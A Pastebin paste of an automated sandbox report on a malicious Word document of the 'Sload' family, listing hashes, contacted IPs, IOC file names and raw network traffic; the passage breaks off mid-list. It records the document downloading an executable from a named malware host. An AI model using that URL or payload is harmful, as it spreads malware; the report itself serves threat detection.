API tools faq
paste
paladin316

Docs_7332dbfe60d0e8505857f41e2a38a119_doc.json

paladin316
Jun 20th, 2019
2,477
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 534.43 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: "Sload"
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "Docs_7332dbfe60d0e8505857f41e2a38a119.doc"
  7. [*] File Size: 294400
  8. [*] File Type: "Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Last Saved By: user, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue May 7 12:15:00 2019, Last Saved Time/Date: Tue May 7 13:16:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0"
  9. [*] SHA256: "e2228fe8873f6226cfa4c569d10aa8fa5d22f1da3760696c11e55fe4d9b5b623"
  10. [*] MD5: "7332dbfe60d0e8505857f41e2a38a119"
  11. [*] SHA1: "daf98e4bcf03e94e60389701dba5e83f0184a069"
  12. [*] SHA512: "bec9e27b06b00b968969988eafd6ee99ff43d5bb49a7658056028dc23b63db416a9bc28e928003c262168aa49a7e4e86666228f36f1d9104dda3f1b7ab7763cd"
  13. [*] CRC32: "28ED2A22"
  14. [*] SSDEEP: "6144:e2pQqvg1+HC6HIvxAEUKJTWMZNrxpzNa2rJoqj8b:1pQga6HIvWEUKJTWMZNrxpzNa2lob"
  15.  
  16. [*] Process Execution: [
  17. "WINWORD.EXE"
  18. ]
  19.  
  20. [*] Signatures Detected: [
  21. {
  22. "Description": "Attempts to connect to a dead IP:Port (14 unique times)",
  23. "Details": [
  24. {
  25. "IP": "23.66.48.25:443"
  26. },
  27. {
  28. "IP": "23.63.254.59:80"
  29. },
  30. {
  31. "IP": "23.63.254.64:80"
  32. },
  33. {
  34. "IP": "104.18.24.243:80"
  35. },
  36. {
  37. "IP": "204.2.193.146:80"
  38. },
  39. {
  40. "IP": "188.165.69.32:443"
  41. },
  42. {
  43. "IP": "23.204.188.191:443"
  44. },
  45. {
  46. "IP": "23.193.44.25:80"
  47. },
  48. {
  49. "IP": "72.21.91.29:80"
  50. },
  51. {
  52. "IP": "65.52.98.231:443"
  53. },
  54. {
  55. "IP": "52.109.2.18:443"
  56. },
  57. {
  58. "IP": "192.35.177.64:80"
  59. },
  60. {
  61. "IP": "52.109.2.14:443"
  62. },
  63. {
  64. "IP": "204.2.193.145:80"
  65. }
  66. ]
  67. },
  68. {
  69. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  70. "Details": [
  71. {
  72. "ioc": "ieee2006officeonline.xsl"
  73. },
  74. {
  75. "ioc": "ontent.inf"
  76. },
  77. {
  78. "ioc": "e.gu"
  79. },
  80. {
  81. "ioc": "rame.glox"
  82. },
  83. {
  84. "ioc": "chevronaccent.glox"
  85. },
  86. {
  87. "ioc": "ccent.glox"
  88. },
  89. {
  90. "ioc": "rc.glox"
  91. },
  92. {
  93. "ioc": "turabian.xsl"
  94. },
  95. {
  96. "ioc": "ist.glox"
  97. },
  98. {
  99. "ioc": "gosttitle.xsl"
  100. },
  101. {
  102. "ioc": "mlaseventheditionofficeonline.xsl"
  103. },
  104. {
  105. "ioc": "iso690nmerical.xsl"
  106. },
  107. {
  108. "ioc": "chicago.xsl"
  109. },
  110. {
  111. "ioc": "architecture.glox"
  112. },
  113. {
  114. "ioc": "rings.glox"
  115. },
  116. {
  117. "ioc": "ext.glox"
  118. },
  119. {
  120. "ioc": "pictureorgchart.glox"
  121. },
  122. {
  123. "ioc": "adial.glox"
  124. },
  125. {
  126. "ioc": "gostname.xsl"
  127. },
  128. {
  129. "ioc": "iso690.xsl"
  130. },
  131. {
  132. "ioc": "rocess.glox"
  133. },
  134. {
  135. "ioc": "rid.glox"
  136. },
  137. {
  138. "ioc": "..3b"
  139. },
  140. {
  141. "ioc": "sist02.xsl"
  142. },
  143. {
  144. "ioc": "nline.xsl"
  145. },
  146. {
  147. "ioc": "quations.dotx"
  148. },
  149. {
  150. "ioc": "rop.thmx"
  151. },
  152. {
  153. "ioc": "anded.thmx"
  154. },
  155. {
  156. "ioc": "content.inf"
  157. },
  158. {
  159. "ioc": "eadlines.thmx"
  160. },
  161. {
  162. "ioc": "adge.thmx"
  163. },
  164. {
  165. "ioc": "eathered.thmx"
  166. },
  167. {
  168. "ioc": "esh.thmx"
  169. },
  170. {
  171. "ioc": "rail.thmx"
  172. }
  173. ]
  174. },
  175. {
  176. "Description": "Performs some HTTP requests",
  177. "Details": [
  178. {
  179. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  180. },
  181. {
  182. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  183. },
  184. {
  185. "url": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab"
  186. },
  187. {
  188. "url": "http://isrg.trustid.ocsp.identrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D"
  189. },
  190. {
  191. "url": "http://ocsp.int-x3.letsencrypt.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBR%2B5mrncpqz%2FPiiIGRsFqEtYHEIXQQUqEpqYwR93brm0Tm3pkVl7%2FOo7KECEgMei76Ilz6f%2FR4GULCmhldIXg%3D%3D"
  192. },
  193. {
  194. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
  195. },
  196. {
  197. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
  198. },
  199. {
  200. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
  201. },
  202. {
  203. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D"
  204. },
  205. {
  206. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D"
  207. }
  208. ]
  209. },
  210. {
  211. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  212. "Details": [
  213. {
  214. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p,\\xd0\\x8a\\xcd8}\\xe7\\x1b\\x0bg/\\xa0\\xabw9:c\\x9a\\x17>\\xf8d\\x18\\xa5\\x16\\x9a\\xd5=iu\\x93\\x84h\tp|\\xd2;\\xbdg\\xc3m\\xbfe\\x102x\\x9b\\x89#\\x8c\\x10\\xab\\xde\\x01\\xf7\\x85w\\xed\\x16\\x9bkp\\xb2(\\xe2\\xe1r7\\xd6\\xbd\\xc2\\x94d1g\\xf5\\xe4\\xbdx\\xe4,\\xf4\\x88%cj\\x82\\xf0\\xe7\\x10\n\\xdcq\\x80\\x9b\\xe8\n\\xb1\\xd5\\xf9\\xdf\\xc5j\\xfc\\xb9\\xa3s\\x88/\\xb1\\x9ce\\xb5\\xa7\\xe2\\x8f~\\xcbm\\x8c~\\xf4\\x80-\\xc0\\x13\\xc8:\\xa4\\xc33\\xe2\rih`\\x80\\x9ev\\x83n\\x12r\\xef\\x12\\x83\\xd4\\xe1\\x17#n\\x94z\\x18\\x91*\\xa0\\xe1/\\xc8\\x0e\\xbb\\-\\xfdqw\\xe0\\xcf\\xfb\\xafu\\xfb\\xe49\\xf6\\x93\\x04\\x83*2\\x1bdr\\xd1fu\\xa9u\\xde\\xaa\\x1e\\xdf\\xaej\\x83\\xae<\\x8e\\xc8\\x94+\\xc3\\xf0\\x9bg\\x81\\x8f\\x94g\\x95\\x1f\\x88f9q\\xde\\xb5g\\x8c^|\\xda'\\xbc\\x0fl\\xf3^t\\xe2n\\x1f\\x82\\x1a\r\\xc7\r\\xe7,\\xd9\\x06\\xd6\\xcf\\xd8\\x14\\xf0%\\x04\\xd8"
  215. },
  216. {
  217. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01]\\x0c\\x00\\xbd\\xefg\\x0c.\\x96\\xa7\\xbf\\xba\\xdd\\\\x94\\x89\\x1a\\x87\\x927\\\\xaen\\x85\\xa7\\xdar\\xb3\\\\x00\\xcf+\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  218. },
  219. {
  220. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x84\\xa8\\x8cj\\x02\\xfe\\xedm\\xc5\\xee\\xd9\\x84hm\\xd0)m\\x9a\\xb1`m\\x81sg\\x81w\\xbf\\x99\\xe0\\xd2\\xda\\xa1@\\x00\\x1e9y?y\\x12a\\xa8a\\xda\\x8bw\\xe4\\xe8\\xef\\x1b{\\xb0\\xee\\xeau\\xd9\\xe4$\\xe7f\\x8b_\\x9c\\xa1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000$\\x9e\\x03\\x99\\xder\\xbb\\xc7\\x910\\xa7\\xbd\\xa0\\x93\\xe3^27\\xf1x\\x16\\x9f\\x06\\x11gd\\x9d8+\\x18\\x14\\x18,\\xf5g\\xad\\xd5h\\xb2\\x90\\xa3\\xb4\\x1bw\\x81w\\xce\\xcb"
  221. },
  222. {
  223. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01]\\x0c\\x00\\xbe\\xb6\\xe1]\\x90r\\x8d\\x8a0\\x9f\\xf7<x\\xb3f!\\x0b\\x04\\xec{\\x19\\xba\\xe7\\xcc\\x0e)\\xa5\\xeaj\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  224. },
  225. {
  226. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x046jz\\xc3\\xd2\\x1c#,\\x99g\\xee\\xba\\xed\\x92h\\xc4\\xadq\\xd5\\xb8z\\x9c\\x11qt\\x14u\\xfc\\xee o\\x93\\xb9\\xd8tt\\xc3v^j\\x15\\xc8=h\\xe5\\xaey8\\xeb)\\x0f<-{\\x87\\x9a\\xc0\\xe0,\\xb5\\x86^z\\x96\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\r\\xe54\\x1d\\xe1r\\x93\\x04\\x9c\\xd8\\xaam\\xdeq\\x89\\x1e\\x8e,_i\\x91\\xa9\\x12\\xa1\\xb1/5\\x9b?uh8\\xa0\\xce\\xddv5\\x92\\xd5\\xeaqk\\xbf\\x00\\xb0}\\xcc\\x8a"
  227. },
  228. {
  229. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p:^\\xa4ws\\xf3\\xeb%\\xaa\\xec`|\\xf6w\\x8c\\xba9\\xc8z\\xe3\\xe9\\x89\\x7f\\xda+\\xa8\\xd8\\x15j\\x7fs\" v\\x99\\xc7k\\xc9\\xdb\\xe2\\xb6\\xa0\\x1e@g'\\xac\\x86\\x89\\xc7\\xfb#\\xc6\\x1b{\\xda\\x06\\xe2d>m\\\\x17\\x1f\\x02\t\\x0b\\xa2\\xba\\x98\\x9bz\\x98\\x92vu\\xfc\\xd0&\\x9f1.\\xe7\\xf4m\\xe5o\\x80\tio\\xfa;c)\\xce\\xcd\\x9e\\xb6\\xe2mi\\x9c\\xe5e^\\xf0\\xeb8\\xa0\\x8d\\x00)\\xc7u\\x8co\\x0f\\xfe\\x84;\\xe5\\xa1s\\x1do\\xed\\xff\\xfe\\xa0%\\x92\\x82\\x11\\xe2\\xa4[\\x8b\\x16q\\x06\\xd2`\\xed\\x108\\xc7\\xba\\xbd\\xb8\\xae\\xe9->\\xea\\x88\\xd8\\xdc\\xcb\\xa1c\"\\x12\\xf0\\xad\\xf3^b\\xefa\\x9f\\xa7(xrh\\x9f\\xa0\\xd3\\x99\\x8c< b\\xf9\\xdf\\x13\\x1d\\x96v\\xb5e\nd\\xcf\\x87\\xf4l\\xe4\\x01!\\x80\\xf5\\xad\\xa9\\x9f\\xdd\\xf0`\\x89\\x00\\x1f\\xc61\\x1e\\x00\\xe1r'x\\xc2~\\xad=\\xed\\x8b\\xc7@\\xf1\\x05\\x98p(\\x07$o\\xc0\\xfak\\x83\\x0b\\x16\\x98s&\\x89y]%\\xb0\\xe4"
  230. },
  231. {
  232. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  233. },
  234. {
  235. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  236. },
  237. {
  238. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xfa\\xfe\\xe4w\\x91\\xa7\\xe0\\xb3>\\x92\\xb2!p\\x1d\\xe69\\xc1\\x83p\\xe9\\xdc\\xdat(\\xd2\\xc4l6b\\x05\\x9f\\x0b\\xe0p\\x13\\xe7\\xf8\\xcdy\\x15\\x9ag\\xe6s\\xe1x\\xc2\\xb2\\xee-\\xa0\\x8a\\xbfq \\xc6\\x97\"\\xca[\\xb5#\\xd6ty\\x16\\xfc\\xa0\\xa8%a\\x17\\xaa\\xfc\\xd5\\xdd\\xd0\\xefhg\\x05\\xea\\xa5\\xa0f\\xb4\\xf3{bxir\\x981\\xa9\\xba\\x86j\\xf5\\xe0\\xa57w\\x12\\xdc\\x9c\\x85`m6\\x18r\\x06a#|\\xd3\\xe6\\x86\\xafexi~5\\xc8\\xeai8$\\x97\\xa9\\x8e\\x19n\\xcb\\xa1\\x99\\x9c\\xe8\\xc6\\x88\\x01\\xd49\"^\\xadi o\\xe5\\xac\\xdd2\\xcf\\xb8\\x0e\\xb96\\xa7\\xdd\\x03\\xe2\\xab\\xb0\\x17lu\\x13[\\xbf{s`\\xf7rw3\\xf1\\x9e\\xe8\\xaa\\xcd(qdltuy\\x8d\\xeb\\x8d\\x04\\x1ez8\\xb0\\xdbb\\x8c\\x1c\\xc70-\\xb0]i\\x97\\xd2\\xd4\\x82\\x08\\xcbcy\\x1a\t;\\xf3\\xd2\\x000\\x99\\xfa]\\xd0v\\xed\\xf4\\xc4\\xc4\\xf9\\xec\\xba\\xa9%p\\x15a,\\xcc<{+0.\\x03v\\xe3"
  239. },
  240. {
  241. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\xf5\\x90p\\xe1\\xd5\\xa7|\\xd9(x\\x7f\\xbc(\\xc1\\xe0\\x9c\\xa3\\x81\\xc1\\xf0kc\"0~\\xd7@\\xcd\\xcc<\\xae(\\x91\\x19\\xb7t\\x19\\xf16*\\x97\\xe5i\\xd2\\xc25\\3\\xbd\\xf7\\x819\\xe5\\x85}f`\\x80z\\x18zwr\\x88\\xdf\\xc3\\xa2\\xbci]\\x18n\\x1b\\x9b\\xf2+)\\x91+\\xd8\\x11\\xe8t8fta30\\xdf\\x80\\xd8\\x943\\x00'\\xdb\\x9as\\x15\\xcf\\x01\\xf0\\xb1%i\\xcb\\xf0\\xb3\\x08i\\xc0bg]\\xd13\\x84 \\x7f\\xd0\\xf9b\\x7f.\\x94q\\x1a\\x8f&4m\\x97\\x9b\\xc4?\\xbf\\xc6s\\x0c\\xd7}\\xb3\\x1ax\\x87\\x01r\\xd0\t\\x15\\xbf=\\xb1\\xe5\\xe1\\xb6;\\x18\\xaa\\x7f\\xce\\xa7\\xa0nl\\xed\\x1d\\x0f\\xac|\\xd6+\\x07p\\xbd\\xf1\\xc4~ry\\xd7\\xb3\\x04\\xe5fub\\xca\\x13\\xdf\\x9d\\xa4n\\xbb\\x82\\x904g][\\xf1\\xfa\\x03\\x8c\\x8f\\xec\\xe1\\xcc\\xa6zk\\xb5\\xa2\\xc52\\x8b\\xf1\\x1b\\x91\\x88\\xdb\\x1b&\\x142d\\x8ansz\\xc4\\xcd\\xfbs \\x0f\\xf44w\\xf3oi\\xf8\\xfe\\\\xeaj\\xa4yc"
  242. },
  243. {
  244. "http_request": "winword.exe_WSASend_get /msdownload/update/v3/static/trustedr/en/authrootstl.cab http/1.1\r\ncache-control: max-age = 86496\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: fri, 22 feb 2019 16:53:13 gmt\r\nif-none-match: \"80e22c19cfcad41:0\"\r\nuser-agent: microsoft-cryptoap"
  245. },
  246. {
  247. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbrv9ghnqxlssgkbnmarpucshyovpgquxkexphsscfrb4uuqdf%2fefwcfiraceaobquiaaafthxnqc4xspwg%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: isrg.trustid.ocsp.identrust.com\r\n\r\n"
  248. },
  249. {
  250. "http_request": "winword.exe_WSASend_get /mfmwutbpme0wszajbgurdgmcgguabbr%2b5mrncpqz%2fpiiigrsfqetyheixqquqepqywr93brm0tm3pkvl7%2foo7kecegmei76ilz6f%2fr4gulcmhldixg%3d%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.int-x3.letsencrypt.org\r\n\r\n"
  251. },
  252. {
  253. "http_downloadurl": "winword.exe_URLDownloadToFileW_https://vicomcleaning.info/login/fresh/newcomp.exe"
  254. },
  255. {
  256. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00}\\x01\\x00\\x00y\\x03\\x01]\\x0c\\x00\\xcew\\x14\\x9f=\\x98\\x0cn\\xd9\\xc0v\\x02e\\x0ezn\\xcb\\x03b\\xdcm\\xf9\\xa7\\x89\\x8ck\\x11\\x98b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  257. },
  258. {
  259. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb3-m\\x97/\\xba/\\x88\\x93fsxo\\xb7\\xb7\\xb2\\xbdb\\xd3\\x93\\xd7\\x17\\x1bxt\\xa5\\xea\\xf9\\xd38%\\x1e\\xedv3\\x16\\xf2\\x95,5mpn\\x1d\\x9c\\x13\\x99hp\\xc7c\t\\xcek<[\\xa2\\xf1\\x19\\x9f\\xf9w\\x7f\\x96\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8fxgm\\xa44\\xfb\\xbe\\x80\\xeeard\\xd0\\xf3\\xd5ln\\xafts\\x92\\xf0\\x8f\\xf3:\\xeb5\\x96\\xbch\\xc2\\x0c\\xb3\\x87]u8\\xbbn!&\\xd9y\\xe8\\xd2y\\xc1"
  260. },
  261. {
  262. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\"/\\xe2d\\xa5e\\xa1.l\\xe5\\x93\\xbag\\x8b\\xfa\\xd2\\x99e\\xa5k\\x83:l\\xda\\xc7\\x11\\xc6\\xdf\\xdba\\xde\n\\xf8dd\\x18\\xb0\\xce\\xde\\xcaqa1\\xae\\xcdo\\xf8\\xee|\\xe8<7\\xa8>cm\n\\x16\\x07\\x1b\\xdbg\\x9d\\xc3q\\x11\\xab\\xb0=\\x9c\\xec\\xf2f\\xdf\\xe9\\xf9v\\x0c\\xe1\\xb7\\xe4z@\\x0f\\xa4\\xff-\\x11=\\xe5\\xdd,\\xf2\\xde&q)\\xe6\\xb6^\\xcab\\xdfm\\xe4\\xc3\\xb7\\x14\\xd9\"\\x100\\x87\\xd6\\x0e\\x0e\\x1d\\xa2o\\xd9y{\\x94\\xc0\\xbe\\x16\\x81\\x8d\\xdb\\xf4\\x95\\x14&+j\\x88<\\xbc\\x10\\xcd\\x8c\\x84\\xec\\xed5\\xe75!\\xcd\\x85\\xd1\\xfd}\\xf4bpx\\xbc\\x1f\\x9f<\\xdez\\x1b#\\x9d\\x9a\\x1c\\xc1\\x94i\\xbe>\\x817\\xd6\\x06\\x8c\\x05b\\x8f{\\x08\\xc7ft\\x87mv\\x0c\\x89\\xbd+\\xb9\\x7f\\xa6\\xe5\\x03e)\\xaf\\xa9$\\xa6rs\\xceuym\\x7fl\\x04\\xf5\\xcf\\xc3g\\xbd\\xf3\\xaa\\xf3\\x9b\\xb7\\xa3\\xd2\\x83:f\\xe4\\xf7d*\\x15:\\xa1\\x9d\\x1f\\x90s~\\xa7\\xaa\\xcd\\x7fg\\x95\\x1et\\x81t@"
  263. },
  264. {
  265. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xc3x\\x17$2\\xe7\\xed\\xc4\\x1a\\x95\\xf8\\x92k\\x86\\xaf\\xd8\\x07\\xe5\\x0eq4\\xf3\\xbfc\\x18l\\xebc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  266. },
  267. {
  268. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xb1\\x08\\xd5\tg\\xd5\\xae!w\\x8b\\x07\\xfe!\\x0c\\xddb\\x0b\\xb0\\xf4\\x0brv*\\x96b\\xddw\\xc7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  269. },
  270. {
  271. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xbc\\xd5\\xed\\xe1\\x96\\x87\\xaf\\x86b\\x08\\xaa\\xcd\\xb5\\x8e\\x92\\xfb\\xe3b\\xd3\\x81\"t\\xed\\xfe\\xda\\x0c\\x9dd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  272. },
  273. {
  274. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcfy[\\xc9v>\\x8cs\\xcd\\xc8]\\x06\\x041\\x07b\\xd6\\x88\\x86\\xc4sd\\xaf\\x88\\xb4n\\xa6w\\xae\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  275. },
  276. {
  277. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\x0f\\xfb\\xa9\\xfd\\xe4\\xd2\\xe5>\\xc9\t\\x9d\\x88j\\xf0\\x03\\x02'\\xbe.\\x13\\xfbc\\xc5\\x89\\xf1\\xb9\\xe7\\xad\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  278. },
  279. {
  280. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf\\xd6\\x00\\xef\\xeb\\xdd[\\xdf\\xf3\\xec\\x14\\xf3\\xd9\\xe6z\\xb6\\x13\n\\xd2y\\x1ay\\xd6l\\x8c\\x9b=\\x92\\xd5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  281. },
  282. {
  283. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0c\\x00\\xcf},\\xeag\\xa2*9z\\xf7m\\xfe\\xbb\\x1b'\\x16\\x8f\\xe7\\x08;\\xac\\x9e\\x9b\\x19g\\xfb\\xf2\\xd4\\xb2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  284. },
  285. {
